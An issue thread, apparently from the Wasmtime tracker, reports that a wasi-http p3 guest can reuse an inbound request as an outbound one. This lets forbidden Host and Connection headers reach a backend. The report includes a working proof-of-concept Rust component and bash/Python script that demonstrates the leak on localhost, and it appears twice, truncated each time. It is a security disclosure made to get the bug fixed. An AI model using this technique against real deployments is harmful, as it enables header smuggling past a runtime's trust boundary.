sdjasj opened issue #13801:
Test Case
No upload is needed — the vulnerable workload is a p3
wasi-httpservice component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:// crates-style minimal p3 http service: forward the inbound request to a URL // given in an `url` header, reusing the SAME request resource. use test_programs::p3::{ service::exports::wasi::http::handler::Guest as Handler, wasi::http::{ client, types::{ErrorCode, Request, Response, Scheme}, }, }; struct Component; test_programs::p3::service::export!(Component); impl Handler for Component { async fn handle(request: Request) -> Result<Response, ErrorCode> { // Read the destination URL from a request header, then **reuse** the // inbound `Request` resource (with all its original headers) as the // outbound request by only changing scheme/authority/path. let headers = request.get_headers().copy_all(); let url = headers .iter() .find_map(|(name, value)| { (name == "url").then(|| core::str::from_utf8(value).ok()).flatten() }) .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?; let rest = url .strip_prefix("http://") .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?; let (authority, path) = match rest.find('/') { Some(i) => (&rest[..i], &rest[i..]), None => (rest, "/"), }; request.set_scheme(Some(&Scheme::Http)).unwrap(); request.set_authority(Some(authority)).unwrap(); request.set_path_with_query(Some(path)).unwrap(); client::send(request).await } } fn main() {}A guest cannot create
Host/Connection/Transfer-Encodingheaders
through the normalFieldsAPI —HostFields::{from_list,set,append}reject
DEFAULT_FORBIDDEN_HEADERS(crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incomingRequestcan reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.Steps to Reproduce
Copy-paste the entire script below into a file (e.g.
poc.sh) and run it
from a Wasmtime source checkout. It needs onlycargo,rustc(with the
wasm32-wasip1target),python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, startswasmtime serve, sends an inbound
request carryingHost: victim.internal+Connection: close, and captures the
raw bytes that reach a local backend socket.#!/usr/bin/env bash set -euo pipefail # Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh ROOT="${WASMTIME_ROOT:-$(pwd)}" if [[ ! -d "$ROOT/crates/wasi-http" ]]; then echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2 exit 1 fi cd "$ROOT" WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")" trap 'rm -rf "$WORK"' EXIT COMPONENT_DIR="$WORK/component" ENCODER_DIR="$WORK/encoder" COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm" mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src" # --- tiny p3 service component (source shown in Test Case) --- cat > "$COMPONENT_DIR/Cargo.toml" <<EOF [workspace] [package] name = "p3-host-forward-component" version = "0.1.0" edition = "2024" [dependencies] test-programs = { path = "$ROOT/crates/test-programs" } EOF cat > "$COMPONENT_DIR/src/main.rs" <<'EOF' use test_programs::p3::{ service::exports::wasi::http::handler::Guest as Handler, wasi::http::{ client, types::{ErrorCode, Request, Response, Scheme}, }, }; struct Component; test_programs::p3::service::export!(Component); impl Handler for Component { async fn handle(request: Request) -> Result<Response, ErrorCode> { let headers = request.get_headers().copy_all(); let url = headers .iter() .find_map(|(name, value)| { (name == "url") .then(|| core::str::from_utf8(value).ok()) .flatten() }) .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?; let rest = url .strip_prefix("http://") .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?; let (authority, path) = match rest.find('/') { Some(i) => (&rest[..i], &rest[i..]), None => (rest, "/"), }; request.set_scheme(Some(&Scheme::Http)).unwrap(); request.set_authority(Some(authority)).unwrap(); request.set_path_with_query(Some(path)).unwrap(); client::send(request).await } } fn main() {} EOF # --- helper to encode the wasm module into a component --- cat > "$ENCODER_DIR/Cargo.toml" <<EOF [workspace] [package] name = "p3-host-forward-encoder" version = "0.1.0" edition = "2024" [dependencies] anyhow = "1" wit-component = "0.251.0" EOF cat > "$ENCODER_DIR/src/main.rs" <<'EOF' use anyhow::{Context, bail}; use std::{env, fs}; use wit_component::ComponentEncoder; fn main() -> anyhow::Result<()> { let args = env::args().collect::<Vec<_>>(); if args.len() != 4 { bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]); } let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?; let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?; let component = ComponentEncoder::default() .module(&module)? .validate(true) .adapter("wasi_snapshot_preview1", &adapter)? .encode()?; fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?; Ok(()) } EOF echo "[*] Building the p3 service component" cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)" if [[ -z "$ADAPTER" ]]; then echo "[*] Reactor adapter not found; building test-programs artifacts once" cargo build -p test-programs-artifacts >/dev/null ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)" fi echo "[*] Encoding the component" cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \ "$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \ "$ADAPTER" \ "$COMPONENT_WASM" >/dev/null WASMTIME="$ROOT/target/debug/wasmtime" if [[ ! -x "$WASMTIME" ]]; then WASMTIME="$ROOT/target/release/wasmtime" fi if [[ ! -x "$WASMTIME" ]]; then echo "[*] wasmtime binary not found; building target/debug/wasmtime" cargo build --bin wasmtime >/dev/null WASMTIME="$ROOT/target/debug/wasmtime" fi echo "[*] Running the network proof" PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY' import socket import subprocess import sys import threading import time from pathlib import Path root = Path(sys.argv[1]) component = Path(sys.argv[2]) wasmtime = Path(sys.argv[3]) capture = {} ready = threading.Event() def backend(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", 0)) srv.listen(1) capture["backend_port"] = srv.getsockname()[1] ready.set() conn, _ = srv.accept() data = b"" conn.settimeout(5) while b"\r\n\r\n" not in data: chunk = conn.recv(4096) if not chunk: break data += chunk capture["raw"] = data conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK") conn.close() srv.close() threading.Thread(target=backend, daemon=True).start() if not ready.wait(5): raise SystemExit("backend did not start") backend_port = capture["backend_port"] s = socket.socket() s.bind(("127.0.0.1", 0)) serve_port = s.getsockname()[1] s.close() serve = subprocess.Popen( [ str(wasmtime), "serve", "-S", "cli", "--addr", f"127.0.0.1:{serve_port}", str(component), ], cwd=str(root), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) try: deadline = time.time() + 20 while time.time() < deadline: try: c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2) c.close() break except OSError: if serve.poll() is not None: out = serve.stdout.read() if serve.stdout else "" raise SystemExit(f"wasmtime exited early:\n{out}") time.sleep(0.1) else: raise SystemExit("wasmtime serve did not start") inbound = ( f"GET /trigger HTTP/1.1\r\n" f"Host: victim.internal\r\n" f"Connection: close\r\n" f"url: http://127.0.0.1:{backend_port}/forwarded\r\n" f"\r\n" ).encode() c = socket.create_connection(("127.0.0.1", serve_port), timeout=5) c.sendall(inbound) c.settimeout(5) while True: try: chunk = c.recv(4096) except socket.timeout: break if not chunk: break c.close() raw = capture.get("raw", b"") text = raw.decode("latin1", "replace") print("----- backend raw request -----") print(text) print("----- verification -----") host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")] conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")] print("host lines:", host_lines) print(" [message truncated]
sdjasj added the bug label to Issue #13801.
fitzgen added the wasi-http label to Issue #13801.
alexcrichton closed issue #13801:
Test Case
No upload is needed — the vulnerable workload is a p3
wasi-httpservice component that is built inline by the reproduction script in Steps to Reproduce. Its full source (≈40 lines) is shown first so the report is fully
self-contained:// crates-style minimal p3 http service: forward the inbound request to a URL // given in an `url` header, reusing the SAME request resource. use test_programs::p3::{ service::exports::wasi::http::handler::Guest as Handler, wasi::http::{ client, types::{ErrorCode, Request, Response, Scheme}, }, }; struct Component; test_programs::p3::service::export!(Component); impl Handler for Component { async fn handle(request: Request) -> Result<Response, ErrorCode> { // Read the destination URL from a request header, then **reuse** the // inbound `Request` resource (with all its original headers) as the // outbound request by only changing scheme/authority/path. let headers = request.get_headers().copy_all(); let url = headers .iter() .find_map(|(name, value)| { (name == "url").then(|| core::str::from_utf8(value).ok()).flatten() }) .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?; let rest = url .strip_prefix("http://") .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?; let (authority, path) = match rest.find('/') { Some(i) => (&rest[..i], &rest[i..]), None => (rest, "/"), }; request.set_scheme(Some(&Scheme::Http)).unwrap(); request.set_authority(Some(authority)).unwrap(); request.set_path_with_query(Some(path)).unwrap(); client::send(request).await } } fn main() {}A guest cannot create
Host/Connection/Transfer-Encodingheaders
through the normalFieldsAPI —HostFields::{from_list,set,append}reject
DEFAULT_FORBIDDEN_HEADERS(crates/wasi-http/src/lib.rs:76). The bug is that a
guest that receives a p3 incomingRequestcan reuse that same resource as
an outbound request, and the forbidden headers attached to the inbound request
cross the trust boundary into the outbound backend request.Steps to Reproduce
Copy-paste the entire script below into a file (e.g.
poc.sh) and run it
from a Wasmtime source checkout. It needs onlycargo,rustc(with the
wasm32-wasip1target),python3, and a C toolchain. It builds a tiny p3
service component inline, encodes it, startswasmtime serve, sends an inbound
request carryingHost: victim.internal+Connection: close, and captures the
raw bytes that reach a local backend socket.#!/usr/bin/env bash set -euo pipefail # Run from a Wasmtime source checkout, or: WASMTIME_ROOT=/path/to/wasmtime ./poc.sh ROOT="${WASMTIME_ROOT:-$(pwd)}" if [[ ! -d "$ROOT/crates/wasi-http" ]]; then echo "error: $ROOT is not a Wasmtime checkout (set WASMTIME_ROOT)" >&2 exit 1 fi cd "$ROOT" WORK="$(mktemp -d "${TMPDIR:-/tmp}/wasmtime-p3-header-poc.XXXXXX")" trap 'rm -rf "$WORK"' EXIT COMPONENT_DIR="$WORK/component" ENCODER_DIR="$WORK/encoder" COMPONENT_WASM="$WORK/p3_host_forward_component.component.wasm" mkdir -p "$COMPONENT_DIR/src" "$ENCODER_DIR/src" # --- tiny p3 service component (source shown in Test Case) --- cat > "$COMPONENT_DIR/Cargo.toml" <<EOF [workspace] [package] name = "p3-host-forward-component" version = "0.1.0" edition = "2024" [dependencies] test-programs = { path = "$ROOT/crates/test-programs" } EOF cat > "$COMPONENT_DIR/src/main.rs" <<'EOF' use test_programs::p3::{ service::exports::wasi::http::handler::Guest as Handler, wasi::http::{ client, types::{ErrorCode, Request, Response, Scheme}, }, }; struct Component; test_programs::p3::service::export!(Component); impl Handler for Component { async fn handle(request: Request) -> Result<Response, ErrorCode> { let headers = request.get_headers().copy_all(); let url = headers .iter() .find_map(|(name, value)| { (name == "url") .then(|| core::str::from_utf8(value).ok()) .flatten() }) .ok_or_else(|| ErrorCode::InternalError(Some("missing url header".into())))?; let rest = url .strip_prefix("http://") .ok_or_else(|| ErrorCode::InternalError(Some("expected http URL".into())))?; let (authority, path) = match rest.find('/') { Some(i) => (&rest[..i], &rest[i..]), None => (rest, "/"), }; request.set_scheme(Some(&Scheme::Http)).unwrap(); request.set_authority(Some(authority)).unwrap(); request.set_path_with_query(Some(path)).unwrap(); client::send(request).await } } fn main() {} EOF # --- helper to encode the wasm module into a component --- cat > "$ENCODER_DIR/Cargo.toml" <<EOF [workspace] [package] name = "p3-host-forward-encoder" version = "0.1.0" edition = "2024" [dependencies] anyhow = "1" wit-component = "0.251.0" EOF cat > "$ENCODER_DIR/src/main.rs" <<'EOF' use anyhow::{Context, bail}; use std::{env, fs}; use wit_component::ComponentEncoder; fn main() -> anyhow::Result<()> { let args = env::args().collect::<Vec<_>>(); if args.len() != 4 { bail!("usage: {} <module.wasm> <adapter.wasm> <out.component.wasm>", args[0]); } let module = fs::read(&args[1]).with_context(|| format!("read {}", args[1]))?; let adapter = fs::read(&args[2]).with_context(|| format!("read {}", args[2]))?; let component = ComponentEncoder::default() .module(&module)? .validate(true) .adapter("wasi_snapshot_preview1", &adapter)? .encode()?; fs::write(&args[3], component).with_context(|| format!("write {}", args[3]))?; Ok(()) } EOF echo "[*] Building the p3 service component" cargo build --manifest-path "$COMPONENT_DIR/Cargo.toml" --target wasm32-wasip1 >/dev/null ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm 2>/dev/null | head -n1 || true)" if [[ -z "$ADAPTER" ]]; then echo "[*] Reactor adapter not found; building test-programs artifacts once" cargo build -p test-programs-artifacts >/dev/null ADAPTER="$(ls -t "$ROOT"/target/debug/build/test-programs-artifacts-*/out/wasi_snapshot_preview1.reactor.wasm | head -n1)" fi echo "[*] Encoding the component" cargo run --manifest-path "$ENCODER_DIR/Cargo.toml" -- \ "$COMPONENT_DIR/target/wasm32-wasip1/debug/p3-host-forward-component.wasm" \ "$ADAPTER" \ "$COMPONENT_WASM" >/dev/null WASMTIME="$ROOT/target/debug/wasmtime" if [[ ! -x "$WASMTIME" ]]; then WASMTIME="$ROOT/target/release/wasmtime" fi if [[ ! -x "$WASMTIME" ]]; then echo "[*] wasmtime binary not found; building target/debug/wasmtime" cargo build --bin wasmtime >/dev/null WASMTIME="$ROOT/target/debug/wasmtime" fi echo "[*] Running the network proof" PYTHONWARNINGS=ignore python3 - "$ROOT" "$COMPONENT_WASM" "$WASMTIME" <<'PY' import socket import subprocess import sys import threading import time from pathlib import Path root = Path(sys.argv[1]) component = Path(sys.argv[2]) wasmtime = Path(sys.argv[3]) capture = {} ready = threading.Event() def backend(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", 0)) srv.listen(1) capture["backend_port"] = srv.getsockname()[1] ready.set() conn, _ = srv.accept() data = b"" conn.settimeout(5) while b"\r\n\r\n" not in data: chunk = conn.recv(4096) if not chunk: break data += chunk capture["raw"] = data conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK") conn.close() srv.close() threading.Thread(target=backend, daemon=True).start() if not ready.wait(5): raise SystemExit("backend did not start") backend_port = capture["backend_port"] s = socket.socket() s.bind(("127.0.0.1", 0)) serve_port = s.getsockname()[1] s.close() serve = subprocess.Popen( [ str(wasmtime), "serve", "-S", "cli", "--addr", f"127.0.0.1:{serve_port}", str(component), ], cwd=str(root), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) try: deadline = time.time() + 20 while time.time() < deadline: try: c = socket.create_connection(("127.0.0.1", serve_port), timeout=0.2) c.close() break except OSError: if serve.poll() is not None: out = serve.stdout.read() if serve.stdout else "" raise SystemExit(f"wasmtime exited early:\n{out}") time.sleep(0.1) else: raise SystemExit("wasmtime serve did not start") inbound = ( f"GET /trigger HTTP/1.1\r\n" f"Host: victim.internal\r\n" f"Connection: close\r\n" f"url: http://127.0.0.1:{backend_port}/forwarded\r\n" f"\r\n" ).encode() c = socket.create_connection(("127.0.0.1", serve_port), timeout=5) c.sendall(inbound) c.settimeout(5) while True: try: chunk = c.recv(4096) except socket.timeout: break if not chunk: break c.close() raw = capture.get("raw", b"") text = raw.decode("latin1", "replace") print("----- backend raw request -----") print(text) print("----- verification -----") host_lines = [l for l in text.split("\r\n") if l.lower().startswith("host:")] conn_lines = [l for l in text.split("\r\n") if l.lower().startswith("connection:")] print("host lines:", host_lines) p [message truncated]
Last updated: Jul 29 2026 at 05:03 UTC